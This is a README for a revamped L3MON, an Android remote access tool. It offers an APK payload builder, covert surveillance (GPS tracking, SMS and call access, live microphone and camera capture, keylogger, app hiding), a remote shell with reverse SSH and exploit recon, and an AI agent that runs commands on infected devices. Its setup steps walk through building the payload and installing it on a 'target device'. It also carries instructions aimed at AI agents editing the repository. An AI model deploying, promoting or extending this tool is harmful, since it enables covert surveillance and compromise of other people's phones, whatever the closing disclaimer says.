Remote Android Management Suite
A cloud-powered Android administration platform built with Node.js, Express, and Socket.IO.
Revamped by xTheDevilRazedMe
| Category | Capabilities |
|---|---|
| 📍 Location | Real-time GPS tracking, location history, map visualization |
| 📞 Communication | SMS reader/sender, call logs, contacts access |
| 🎤 Surveillance | Microphone recording, live mic streaming, camera capture |
| 📋 Data | Clipboard monitoring, notification logging, keylogger |
| 📁 Files | File browser, file download, app management |
| 🖥️ Remote Control | Shell terminal, Alpine Linux environment, package manager |
| 🔒 Security | Device admin, hide/show app, exploit recon & CVE scanning |
| 🤖 AI Agent | Built-in AI assistant with tool-calling capabilities |
| 📦 Payload Builder | Custom APK builder with tunnel support |
| 🔍 Exploit Scanner | NVD CVE database + searchsploit integration |
| 🐧 Alpine Modules | Deployable toolkits (nmap, ssh, python, etc.) |
- Java 8 (JDK/JRE 1.8.0) — required for APK building
- Node.js 14.x–18.x LTS
- npm
# Clone the repository
git clone https://github.com/your-repo/L3MON.git
cd L3MON
# Install dependencies
npm install
# Start the server
node index.js- Open
http://localhost:22533in your browser - Login with default credentials (check
maindb.json) - Go to Build Payload to create your APK
- Install the APK on your target device
- Device appears on the dashboard automatically
Edit maindb.json to set your admin password:
{
"admin": {
"username": "admin",
"password": "5d41402abc4b2a76b9719d911017c592"
}
}Generate MD5 hash:
echo -n "YourPassword" | openssl md5 | awk '{print $2}'| Port | Purpose |
|---|---|
| 22533 | Web dashboard |
| 22222 | Socket.IO (device connections) |
| Variable | Description | Default |
|---|---|---|
L3MON_TUNNEL |
Enable/disable tunnel | true |
L3MON_TUNNEL_SUBDOMAIN |
Custom tunnel subdomain | random |
L3MON_CLIENT_URL |
Override client connection URL | auto |
L3MON/
├── index.js # Server entry point
├── maindb.json # Database (users, clients, settings)
├── package.json # Dependencies
├── includes/
│ ├── expressRoutes.js # API routes & page handlers
│ ├── clientManager.js # Device connection management
│ ├── const.js # Configuration constants
│ ├── apkBuilder.js # APK build & sign logic
│ ├── tunnelManager.js # LocalTunnel management
│ ├── exploitScanner.js # CVE scanner (NVD + searchsploit)
│ └── modules.js # Alpine module store
├── assets/
│ ├── views/ # EJS templates
│ │ ├── index.ejs # Dashboard
│ │ ├── builder.ejs # APK builder
│ │ ├── logs.ejs # Event log
│ │ ├── deviceManager.ejs # Device pages container
│ │ ├── deviceManagerPages/ # Individual device pages
│ │ └── partials/ # Header, sidebar, footer, AI panel
│ └── webpublic/ # Static assets (CSS, JS, images)
├── app/factory/ # APK templates & tools
├── clientData/ # Per-device data storage
├── README.md # This file
└── CHANGELOG.md # Version history
| Page | Description |
|---|---|
| 📊 Info | Device details, system info, quick actions |
| 🖥️ Terminal | Remote shell access |
| 📍 Location | GPS tracking with map |
| 💬 SMS | Read & send SMS messages |
| 📞 Calls | Call log history |
| 👥 Contacts | Contact list |
| 📋 Clipboard | Clipboard history |
| 🎤 Microphone | Audio recording & live streaming |
| 📷 Camera | Photo capture |
| 🔑 Keylogger | Notification-based keylogger |
| 📁 Files | Remote file browser |
| 🐧 Alpine | Linux environment terminal |
| 📦 Packages | Alpine package manager |
| 🔍 Exploits | CVE scanner & exploit recon |
| 📶 WiFi | WiFi network scanner |
| 🔐 Permissions | App permissions viewer |
| 📱 Apps | Installed apps list |
| ⚙️ Settings | Device & global settings |
L3MON includes a built-in AI agent that can:
- Execute commands on devices (
/shell,/alpine,/recon) - Read stored device data
- List all connected devices
- Manage the platform
Configure in Settings or via the AI panel in the sidebar.
Deploy tools to the Alpine Linux environment:
| Module | Tools |
|---|---|
| 🔍 Network Scanning | nmap, netcat, socat |
| 🕵️ Recon Toolkit | curl, wget, dnsutils, whois, traceroute |
| 🔐 Reverse SSH | openssh, socat |
| 📶 WiFi Tools | wireless-tools, iw |
| 💻 Dev & Exploit | python3, gcc, musl-dev, make, git |
| 🔄 Proxychains | proxychains-ng, nmap |
See CHANGELOG.md for full version history.
Rule: Every change MUST be documented in the changelog before merging.
| Version | Date | Highlights |
|---|---|---|
| 3.1.0 | Aug 12–13, 2026 | Full revamp: AI Agent, Dark Theme, Device Nicknames, Auto-Extraction |
| 3.0.0 | Original | Base L3MON from GitHub |
Any AI agent reading, editing, or making changes to this repository MUST follow this process:
- Log everything in DEVLOG.md — every file edit, every change, every fix
- Promote significant items to CHANGELOG.md — only major features, fixes, and breaking changes
If an AI agent makes a change and doesn't log it, the change is incomplete.
This tool is for authorized security testing and educational purposes only.
Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The developers are not responsible for any misuse of this software.
MIT License — See LICENSE for details.
- Original L3MON by D3VL
- Revamped by xTheDevilRazedMe
Edited with ❤️ by xTheDevilRazedMe